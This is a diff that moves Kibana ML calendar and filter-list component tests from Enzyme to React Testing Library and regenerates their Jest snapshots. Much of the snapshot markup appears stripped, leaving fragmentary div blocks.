prefix: 'mlTestModelsFlyoutTitle' }); return ( -

    +

    { if (doc === undefined) { if (error) { this.setFinishedWithErrors(error as unknown as MLHttpFetchError); - throw Error(error.reason); + throw Error(error.reason ?? undefined); // reason can be null and it's not a valid parameter for Error } throw Error( diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/calendar_form/__snapshots__/calendar_form.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/calendar_form/__snapshots__/calendar_form.test.js.snap index e70c43b383f98..6a54d7b887330 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/calendar_form/__snapshots__/calendar_form.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/calendar_form/__snapshots__/calendar_form.test.js.snap @@ -1,146 +1,818 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP -exports[`CalendarForm CalendarId shown as title when editing 1`] = `null`; +exports[`CalendarForm CalendarId shown as title when editing 1`] = ` +
    +
    +

    + test description +

    +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + +
    + +
    +
    +
    + + No items found + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    +
    +`; exports[`CalendarForm Renders calendar form 1`] = ` - - - - - - } +
    - - - + +
    +
    +
    +
    + +
    +
    +
    + Use lowercase alphanumerics (a-z and 0-9), hyphens or underscores; must start and end with an alphanumeric character +
    +
    +
    +
    - - - } +
    - - - - } +
    + +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    - - - + +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    - - } +
    - - - + +
    +
    +
    +
    + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + +
    + +
    +
    +
    + + No items found + +
    +
    +
    +
    +
    +
    - - - - - - - - + +
    +
    + +
    +
    +
    `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/calendar_form/calendar_form.test.js b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/calendar_form/calendar_form.test.js index 2283c0b1e7db7..f42869978e754 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/calendar_form/calendar_form.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/calendar_form/calendar_form.test.js @@ -5,8 +5,9 @@ * 2.0. */ -import { shallowWithIntl, mountWithIntl } from '@kbn/test-jest-helpers'; import React from 'react'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; + import { CalendarForm } from './calendar_form'; jest.mock('../../../../contexts/kibana/use_create_url', () => ({ @@ -44,9 +45,9 @@ const testProps = { describe('CalendarForm', () => { test('Renders calendar form', () => { - const wrapper = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(wrapper).toMatchSnapshot(); + expect(container.firstChild).toMatchSnapshot(); }); test('CalendarId shown as title when editing', () => { @@ -56,9 +57,12 @@ describe('CalendarForm', () => { calendarId: 'test-calendar', description: 'test description', }; - const wrapper = mountWithIntl(); - const calendarId = wrapper.find('EuiTitle'); - expect(calendarId).toMatchSnapshot(); + const { getByTestId } = renderWithI18n(); + + const calendarForm = getByTestId('mlCalendarFormEdit'); + expect(calendarForm).toBeInTheDocument(); + + expect(calendarForm).toMatchSnapshot(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/events_table/__snapshots__/events_table.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/events_table/__snapshots__/events_table.test.js.snap index cf5d3a492c7b2..bb3fea4ef5cb4 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/events_table/__snapshots__/events_table.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/events_table/__snapshots__/events_table.test.js.snap @@ -1,185 +1,718 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP exports[`EventsTable Renders events table with no search bar 1`] = ` - - +
    - - Start - , - "render": [Function], - "sortable": true, - }, - Object { - "field": "end_time", - "name": - End - , - "render": [Function], - "sortable": true, - }, - Object { - "field": "", - "name": "", - "render": [Function], - }, - ] - } +
    - + > + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + +
    + +
    +
    +
    + + test description + +
    +
    +
    + 2017-02-09 11:10:00 +
    +
    +
    + 2017-02-09 11:30:00 +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    `; exports[`EventsTable Renders events table with search bar 1`] = ` - - +
    - - Start - , - "render": [Function], - "sortable": true, - }, - Object { - "field": "end_time", - "name": - End - , - "render": [Function], - "sortable": true, - }, - Object { - "field": "", - "name": "", - "render": [Function], - }, - ] - } - data-test-subj="mlCalendarEventsTable" - itemId="event_id" - items={ - Array [ - Object { - "calendar_id": "test-calendar", - "description": "test description", - "end_time": 1486657800000, - "event_id": "test-event-one", - "start_time": 1486656600000, - }, - ] - } - pagination={ - Object { - "initialPageSize": 5, - "pageSizeOptions": Array [ - 5, - 10, - ], - } - } - rowProps={[Function]} - search={ - Object { - "box": Object { - "incremental": true, - }, - "filters": Array [], - "toolsRight": Array [ - - +
    +
    +
    +
    +
    + + +
    + - , - - +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + +
    + +
    +
    +
    + + test description + +
    +
    +
    + 2017-02-09 11:10:00 +
    +
    +
    + 2017-02-09 11:30:00 +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    +
    `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/events_table/events_table.test.js b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/events_table/events_table.test.js index 25961e266c3bc..8d04555d751db 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/events_table/events_table.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/events_table/events_table.test.js @@ -5,8 +5,10 @@ * 2.0. */ -import { shallowWithIntl } from '@kbn/test-jest-helpers'; import React from 'react'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; +import { fireEvent } from '@testing-library/react'; + import { EventsTable } from './events_table'; jest.mock('../../../../capabilities/check_capabilities', () => ({ @@ -32,9 +34,9 @@ const testProps = { describe('EventsTable', () => { test('Renders events table with no search bar', () => { - const wrapper = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(wrapper).toMatchSnapshot(); + expect(container).toMatchSnapshot(); }); test('Renders events table with search bar', () => { @@ -43,8 +45,22 @@ describe('EventsTable', () => { showSearchBar: true, }; - const wrapper = shallowWithIntl(); + const { container } = renderWithI18n(); + + expect(container).toMatchSnapshot(); + }); + + test('Calls onDeleteClick when delete button is clicked', () => { + const onDeleteClick = jest.fn(); + + const { getByTestId } = renderWithI18n( + + ); + + const deleteButton = getByTestId('mlCalendarEventDeleteButton'); + + fireEvent.click(deleteButton); - expect(wrapper).toMatchSnapshot(); + expect(onDeleteClick).toHaveBeenCalledWith('test-event-one'); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/import_modal/__snapshots__/import_modal.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/import_modal/__snapshots__/import_modal.test.js.snap index 747e801a278a7..a68de8f2957af 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/import_modal/__snapshots__/import_modal.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/import_modal/__snapshots__/import_modal.test.js.snap @@ -1,74 +1,3 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP -exports[`ImportModal Renders import modal 1`] = ` - - - - - - - - - - -

    - -

    -
    -
    -
    - - - - - - - - - - - - - - - -
    -
    -`; +exports[`ImportModal Renders import modal 1`] = `null`; diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/import_modal/import_modal.test.js b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/import_modal/import_modal.test.js index ceccb4f2ba11e..6a9586e0a021c 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/import_modal/import_modal.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/import_modal/import_modal.test.js @@ -5,8 +5,9 @@ * 2.0. */ -import { shallowWithIntl, mountWithIntl } from '@kbn/test-jest-helpers'; import React from 'react'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; + import { ImportModal } from './import_modal'; jest.mock('../../../../capabilities/check_capabilities', () => ({ @@ -19,47 +20,10 @@ const testProps = { canCreateCalendar: true, }; -const events = [ - { - description: 'Downtime feb 9 2017 10:10 to 10:30', - start_time: 1486656600000, - end_time: 1486657800000, - calendar_id: 'farequote-calendar', - event_id: 'Ee-YgGcBxHgQWEhCO_xj', - }, - { - description: 'New event!', - start_time: 1544076000000, - end_time: 1544162400000, - calendar_id: 'this-is-a-new-calendar', - event_id: 'ehWKhGcBqHkXuWNrIrSV', - }, -]; - describe('ImportModal', () => { test('Renders import modal', () => { - const wrapper = shallowWithIntl(); - - expect(wrapper).toMatchSnapshot(); - }); - - test('Deletes selected event from event table', () => { - const wrapper = mountWithIntl(); - - const testState = { - allImportedEvents: events, - selectedEvents: events, - }; - - const instance = wrapper.instance(); - - instance.setState(testState); - wrapper.update(); - expect(wrapper.state('selectedEvents').length).toBe(2); - const deleteButton = wrapper.find('[data-test-subj="mlCalendarEventDeleteButton"]'); - const button = deleteButton.find('EuiButtonEmpty').first(); - button.simulate('click'); + const { container } = renderWithI18n(); - expect(wrapper.state('selectedEvents').length).toBe(1); + expect(container.firstChild).toMatchSnapshot(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/imported_events/__snapshots__/imported_events.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/imported_events/__snapshots__/imported_events.test.js.snap index cae4e2d7b9f70..01189e6ede9d2 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/imported_events/__snapshots__/imported_events.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/imported_events/__snapshots__/imported_events.test.js.snap @@ -1,60 +1,364 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP exports[`ImportedEvents Renders imported events 1`] = ` - - +
    - - +
    +

    - + Events to import: 1

    - - - +
    +
    - - - + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + +
    + +
    +
    +
    + + test description + +
    +
    +
    + 2017-02-09 11:10:00 +
    +
    +
    + 2017-02-09 11:30:00 +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    +
    - - +
    + - } - onChange={[MockFunction]} - /> - - + +
    + +
    +
    +
    `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/imported_events/imported_events.test.js b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/imported_events/imported_events.test.js index 8762cb4603807..46899dcf1e3b3 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/imported_events/imported_events.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/imported_events/imported_events.test.js @@ -5,10 +5,13 @@ * 2.0. */ -import { shallowWithIntl } from '@kbn/test-jest-helpers'; import React from 'react'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; + import { ImportedEvents } from './imported_events'; +jest.mock('../../../../capabilities/check_capabilities'); + const testProps = { events: [ { @@ -28,8 +31,8 @@ const testProps = { describe('ImportedEvents', () => { test('Renders imported events', () => { - const wrapper = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(wrapper).toMatchSnapshot(); + expect(container).toMatchSnapshot(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/new_event_modal/new_event_modal.js b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/new_event_modal/new_event_modal.js index 8a6c2623fd52b..9a16761adcb59 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/new_event_modal/new_event_modal.js +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/new_event_modal/new_event_modal.js @@ -178,6 +178,7 @@ export class NewEventModal extends Component { onChange={this.handleTimeStartChange} placeholder={TIME_FORMAT} value={startDateString} + data-test-subj="mlCalendarEventStartDateInput" /> @@ -196,6 +197,7 @@ export class NewEventModal extends Component { onChange={this.handleTimeEndChange} placeholder={TIME_FORMAT} value={endDateString} + data-test-subj="mlCalendarEventEndDateInput" /> diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/new_event_modal/new_event_modal.test.js b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/new_event_modal/new_event_modal.test.js index 0aa91a44458e7..61935599685fa 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/new_event_modal/new_event_modal.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/edit/new_event_modal/new_event_modal.test.js @@ -5,67 +5,78 @@ * 2.0. */ -import { shallowWithIntl } from '@kbn/test-jest-helpers'; import React from 'react'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; +import { fireEvent } from '@testing-library/react'; + import { NewEventModal } from './new_event_modal'; -import moment from 'moment'; const testProps = { closeModal: jest.fn(), addEvent: jest.fn(), }; -const stateTimestamps = { - startDate: 1544508000000, - endDate: 1544594400000, -}; - describe('NewEventModal', () => { it('Add button disabled if description empty', () => { - const wrapper = shallowWithIntl(); + // Render the component + const { getByTestId } = renderWithI18n(); + + // Find the Add button by its role + const addButton = getByTestId('mlCalendarAddEventButton'); - const addButton = wrapper.find('EuiButton').first(); - expect(addButton.prop('disabled')).toBe(true); + // Verify it's disabled when description is empty + expect(addButton).toBeDisabled(); + + // Enter a description + const descriptionField = getByTestId('mlCalendarEventDescriptionInput'); + fireEvent.change(descriptionField, { target: { value: 'Test event' } }); + + // Verify button is now enabled + expect(addButton).not.toBeDisabled(); }); - it('if endDate is less than startDate should set startDate one day before endDate', () => { - const wrapper = shallowWithIntl(); - const instance = wrapper.instance(); - instance.setState({ - startDate: moment(stateTimestamps.startDate), - endDate: moment(stateTimestamps.endDate), - }); - // set to Dec 11, 2018 and Dec 12, 2018 - const startMoment = moment(stateTimestamps.startDate); - const endMoment = moment(stateTimestamps.endDate); - // make startMoment greater than current end Date - startMoment.startOf('day').add(3, 'days'); - // trigger handleChangeStart directly with startMoment - instance.handleChangeStart(startMoment); - // add 3 days to endMoment as it will be adjusted to be one day after startDate - const expected = endMoment.startOf('day').add(3, 'days').format(); - - expect(wrapper.state('endDate').format()).toBe(expected); + it('enables adding event when description is provided', () => { + // Render the component + const { getByTestId } = renderWithI18n(); + + // Find the Add button by its role and verify it's initially disabled + const addButton = getByTestId('mlCalendarAddEventButton'); + expect(addButton).toBeDisabled(); + + // Enter a description + const descriptionField = getByTestId('mlCalendarEventDescriptionInput'); + fireEvent.change(descriptionField, { target: { value: 'Test event' } }); + + // Verify button is now enabled + expect(addButton).not.toBeDisabled(); + + // Click the Add button + fireEvent.click(addButton); + + // Verify the addEvent prop was called + expect(testProps.addEvent).toHaveBeenCalled(); }); - it('if startDate is greater than endDate should set endDate one day after startDate', () => { - const wrapper = shallowWithIntl(); - const instance = wrapper.instance(); - instance.setState({ - startDate: moment(stateTimestamps.startDate), - endDate: moment(stateTimestamps.endDate), - }); - - // set to Dec 11, 2018 and Dec 12, 2018 - const startMoment = moment(stateTimestamps.startDate); - const endMoment = moment(stateTimestamps.endDate); - // make endMoment less than current start Date - endMoment.startOf('day').subtract(3, 'days'); - // trigger handleChangeStart directly with endMoment - instance.handleChangeStart(endMoment); - // subtract 3 days from startDate as it will be adjusted to be one day before endDate - const expected = startMoment.startOf('day').subtract(2, 'days').format(); - - expect(wrapper.state('startDate').format()).toBe(expected); + it('updates date fields when text inputs are changed', () => { + // Render the component + const { getByTestId } = renderWithI18n(); + + // Get the initial date inputs + const startDateInput = getByTestId('mlCalendarEventStartDateInput'); + const endDateInput = getByTestId('mlCalendarEventEndDateInput'); + + // Change the start date to a specific value + const newStartDateString = '2023-01-15 00:00:00'; + fireEvent.change(startDateInput, { target: { value: newStartDateString } }); + + // Verify the input value was updated + expect(startDateInput.value).toBe(newStartDateString); + + // Change the end date to a specific value + const newEndDateString = '2023-01-20 00:00:00'; + fireEvent.change(endDateInput, { target: { value: newEndDateString } }); + + // Verify the input value was updated + expect(endDateInput.value).toBe(newEndDateString); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/list/__snapshots__/header.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/list/__snapshots__/header.test.js.snap index de3e3fe60315d..6b88d328b9842 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/list/__snapshots__/header.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/list/__snapshots__/header.test.js.snap @@ -1,103 +1,96 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP exports[`CalendarListsHeader renders header 1`] = ` - - - - - +
    - - - -

    - + 3 in total

    -
    -
    -
    -
    - +
    +
    +
    +
    - - - - - - - - - - + + + Refresh + + + +
    +
    +
    +
    +
    - +

    - - , - "learnMoreLink": - - , - } - } - /> - + Calendars contain a list of scheduled events for which you do not want to generate anomalies, such as planned system outages or public holidays. The same calendar can be assigned to multiple jobs. +
    + + Learn more + + + (external, opens in a new tab or window) + + +

    - - +
    - +
    `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/list/header.test.js b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/list/header.test.js index e1c42d5068592..53fe576da38b0 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/list/header.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/list/header.test.js @@ -5,8 +5,8 @@ * 2.0. */ -import { shallowWithIntl } from '@kbn/test-jest-helpers'; import React from 'react'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; import { CalendarsListHeader } from './header'; @@ -21,7 +21,11 @@ jest.mock('../../../capabilities/check_capabilities', () => ({ jest.mock('../../../contexts/kibana/kibana_context', () => ({ useMlKibana: () => ({ services: { - docLinks: { links: { ml: { calendars: jest.fn() } } }, + docLinks: { + links: { + ml: { calendars: 'calendars link' }, + }, + }, }, }), })); @@ -50,8 +54,8 @@ describe('CalendarListsHeader', () => { ...requiredProps, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container).toMatchSnapshot(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/list/table/__snapshots__/table.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/list/table/__snapshots__/table.test.js.snap index d73588698e351..b303a97a1f82a 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/list/table/__snapshots__/table.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/list/table/__snapshots__/table.test.js.snap @@ -4,116 +4,498 @@ exports[`CalendarsListTable renders the table with all calendars 1`] = `
    - +
    +
    +
    +
    - + + +
    + - , - +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    +
    +
    + + +
    +
    +
    +
    + + + + + + + + + + + +
    +
    +
    +
    + + +
    +
    +
    +
    + + +
    + +
    +
    +
    + NaN events +
    +
    +
    +
    +
    + + +
    +
    +
    +
    + + +
    + +
    +
    +
    + NaN events +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/list/table/table.test.js b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/list/table/table.test.js index 3faf0260e4bec..7011ec10791d9 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/list/table/table.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/calendars/list/table/table.test.js @@ -5,11 +5,12 @@ * 2.0. */ -import { shallowWithIntl, mountWithIntl } from '@kbn/test-jest-helpers'; import React from 'react'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; +import { screen } from '@testing-library/react'; +import { MemoryRouter } from 'react-router-dom'; import { CalendarsListTable } from './table'; -import { MemoryRouter } from 'react-router-dom'; jest.mock('../../../../contexts/kibana/use_create_url', () => ({ useCreateAndNavigateToManagementMlLink: jest.fn(), @@ -43,21 +44,24 @@ const props = { describe('CalendarsListTable', () => { test('renders the table with all calendars', () => { - const wrapper = shallowWithIntl(); - expect(wrapper).toMatchSnapshot(); + const { container } = renderWithI18n( + + + + ); + expect(container.firstChild).toMatchSnapshot(); }); test('New button enabled if permission available', () => { - const wrapper = mountWithIntl( + renderWithI18n( ); - const buttons = wrapper.find('[data-test-subj="mlCalendarButtonCreate"]'); - const button = buttons.find('EuiButton'); + const createButton = screen.getByTestId('mlCalendarButtonCreate'); - expect(button.prop('isDisabled')).toEqual(false); + expect(createButton).not.toBeDisabled(); }); test('New button disabled if no permission available', () => { @@ -66,16 +70,15 @@ describe('CalendarsListTable', () => { canCreateCalendar: false, }; - const wrapper = mountWithIntl( + renderWithI18n( ); - const buttons = wrapper.find('[data-test-subj="mlCalendarButtonCreate"]'); - const button = buttons.find('EuiButton'); + const createButton = screen.getByTestId('mlCalendarButtonCreate'); - expect(button.prop('isDisabled')).toEqual(true); + expect(createButton).toBeDisabled(); }); test('New button disabled if no ML nodes available', () => { @@ -84,15 +87,14 @@ describe('CalendarsListTable', () => { mlNodesAvailable: false, }; - const wrapper = mountWithIntl( + renderWithI18n( ); - const buttons = wrapper.find('[data-test-subj="mlCalendarButtonCreate"]'); - const button = buttons.find('EuiButton'); + const createButton = screen.getByTestId('mlCalendarButtonCreate'); - expect(button.prop('isDisabled')).toEqual(true); + expect(createButton).toBeDisabled(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/add_item_popover/__snapshots__/add_item_popover.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/add_item_popover/__snapshots__/add_item_popover.test.js.snap index c070741b74700..e6b07d6382e6e 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/add_item_popover/__snapshots__/add_item_popover.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/add_item_popover/__snapshots__/add_item_popover.test.js.snap @@ -1,250 +1,26 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP -exports[`AddItemPopover calls addItems with multiple items on clicking Add button 1`] = ` -
    - - - - } - closePopover={[Function]} - display="inline-block" - hasArrow={true} - id="add_item_popover" - initialFocus="#filter_list_add_item_input_row" - isOpen={false} - ownFocus={true} - panelClassName="ml-add-filter-item-popover" - panelPaddingSize="m" - repositionToCrossAxis={true} - > - - - } - > - - - - - - - - - - - - - - - -
    -`; - -exports[`AddItemPopover opens the popover onButtonClick 1`] = ` -
    - - - - } - closePopover={[Function]} - display="inline-block" - hasArrow={true} - id="add_item_popover" - initialFocus="#filter_list_add_item_input_row" - isOpen={true} - ownFocus={true} - panelClassName="ml-add-filter-item-popover" - panelPaddingSize="m" - repositionToCrossAxis={true} - > - - - } - > - - - - - - - - - - - - - - - -
    -`; - exports[`AddItemPopover renders the popover 1`] = `
    - - - - } - closePopover={[Function]} - display="inline-block" - hasArrow={true} +
    - - - } - > - + + Add item + - - - - - - - - - - - - - - + + +
    `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/add_item_popover/add_item_popover.test.js b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/add_item_popover/add_item_popover.test.js index 0bbb3f443f1ae..8915ba92eaeef 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/add_item_popover/add_item_popover.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/add_item_popover/add_item_popover.test.js @@ -5,56 +5,116 @@ * 2.0. */ -import { shallowWithIntl } from '@kbn/test-jest-helpers'; import React from 'react'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; +import { screen, fireEvent, waitFor } from '@testing-library/react'; import { AddItemPopover } from './add_item_popover'; -function prepareTest(addItemsFn) { +function renderPopover(addItemsFn, canCreateFilter = true) { const props = { addItems: addItemsFn, - canCreateFilter: true, + canCreateFilter, }; - const wrapper = shallowWithIntl(); - - return wrapper; + return renderWithI18n(); } describe('AddItemPopover', () => { test('renders the popover', () => { - const addItems = jest.fn(() => {}); - const wrapper = prepareTest(addItems); - expect(wrapper).toMatchSnapshot(); + const addItems = jest.fn(); + const { container } = renderPopover(addItems); + expect(container.firstChild).toMatchSnapshot(); + }); + + test('opens the popover when clicking the button', async () => { + const addItems = jest.fn(); + renderPopover(addItems); + + // Find and click the button to open the popover + const button = screen.getByTestId('mlFilterListOpenNewItemsPopoverButton'); + fireEvent.click(button); + + // Wait for and verify the popover content is now visible + await waitFor(() => { + expect(screen.getByTestId('mlFilterListAddItemTextArea')).toBeInTheDocument(); + }); }); - test('opens the popover onButtonClick', () => { - const addItems = jest.fn(() => {}); - const wrapper = prepareTest(addItems); - const instance = wrapper.instance(); - instance.onButtonClick(); - wrapper.update(); - expect(wrapper).toMatchSnapshot(); + test('calls addItems with one item on clicking Add button', async () => { + const addItems = jest.fn(); + renderPopover(addItems); + + // Open the popover + const openButton = screen.getByTestId('mlFilterListOpenNewItemsPopoverButton'); + fireEvent.click(openButton); + + // Wait for the textarea to be visible + await waitFor(() => { + expect(screen.getByTestId('mlFilterListAddItemTextArea')).toBeInTheDocument(); + }); + + // Enter text in the textarea + const textarea = screen.getByTestId('mlFilterListAddItemTextArea'); + fireEvent.change(textarea, { target: { value: 'google.com' } }); + + // Wait for the Add button to be enabled + let addButton; + await waitFor(() => { + addButton = screen.getByTestId('mlFilterListAddItemsButton'); + expect(addButton).not.toBeDisabled(); + }); + + // Click the Add button + fireEvent.click(addButton); + + // Verify addItems was called with the correct value + await waitFor(() => { + expect(addItems).toHaveBeenCalledWith(['google.com']); + }); }); - test('calls addItems with one item on clicking Add button', () => { - const addItems = jest.fn(() => {}); - const wrapper = prepareTest(addItems); - wrapper.find('EuiTextArea').simulate('change', { target: { value: 'google.com' } }); - const instance = wrapper.instance(); - instance.onAddButtonClick(); - wrapper.update(); - expect(addItems).toHaveBeenCalledWith(['google.com']); + test('calls addItems with multiple items on clicking Add button', async () => { + const addItems = jest.fn(); + renderPopover(addItems); + + // Open the popover + const openButton = screen.getByTestId('mlFilterListOpenNewItemsPopoverButton'); + fireEvent.click(openButton); + + // Wait for the textarea to be visible + await waitFor(() => { + expect(screen.getByTestId('mlFilterListAddItemTextArea')).toBeInTheDocument(); + }); + + // Enter multiple items in the textarea (one per line) + const textarea = screen.getByTestId('mlFilterListAddItemTextArea'); + fireEvent.change(textarea, { target: { value: 'google.com\nelastic.co' } }); + + // Wait for the Add button to be enabled + let addButton; + await waitFor(() => { + addButton = screen.getByTestId('mlFilterListAddItemsButton'); + expect(addButton).not.toBeDisabled(); + }); + + // Click the Add button + fireEvent.click(addButton); + + // Verify addItems was called with both items + await waitFor(() => { + expect(addItems).toHaveBeenCalledWith(['google.com', 'elastic.co']); + }); }); - test('calls addItems with multiple items on clicking Add button', () => { - const addItems = jest.fn(() => {}); - const wrapper = prepareTest(addItems); - wrapper.find('EuiTextArea').simulate('change', { target: { value: 'google.com\nelastic.co' } }); - const instance = wrapper.instance(); - instance.onAddButtonClick(); - wrapper.update(); - expect(addItems).toHaveBeenCalledWith(['google.com', 'elastic.co']); - expect(wrapper).toMatchSnapshot(); + test('button is disabled when canCreateFilter is false', async () => { + const addItems = jest.fn(); + renderPopover(addItems, false); + + // Find the button and verify it's disabled + await waitFor(() => { + const button = screen.getByTestId('mlFilterListOpenNewItemsPopoverButton'); + expect(button).toBeDisabled(); + }); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/delete_filter_list_modal/__snapshots__/delete_filter_list_modal.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/delete_filter_list_modal/__snapshots__/delete_filter_list_modal.test.js.snap index 31847768ac0c1..8b0e9b4088a47 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/delete_filter_list_modal/__snapshots__/delete_filter_list_modal.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/delete_filter_list_modal/__snapshots__/delete_filter_list_modal.test.js.snap @@ -2,101 +2,62 @@ exports[`DeleteFilterListModal false canDeleteFilter privilege renders as disabled delete button 1`] = `
    - - - -
    -`; - -exports[`DeleteFilterListModal renders as delete button after opening and closing modal 1`] = ` -
    - - - + + + Delete + +
    `; exports[`DeleteFilterListModal renders as disabled delete button when no lists selected 1`] = `
    - - - + + + Delete + +
    `; exports[`DeleteFilterListModal renders as enabled delete button when a list is selected 1`] = `
    - - - -
    -`; - -exports[`DeleteFilterListModal renders modal after clicking delete button 1`] = ` -
    - - - - + + + Delete + +
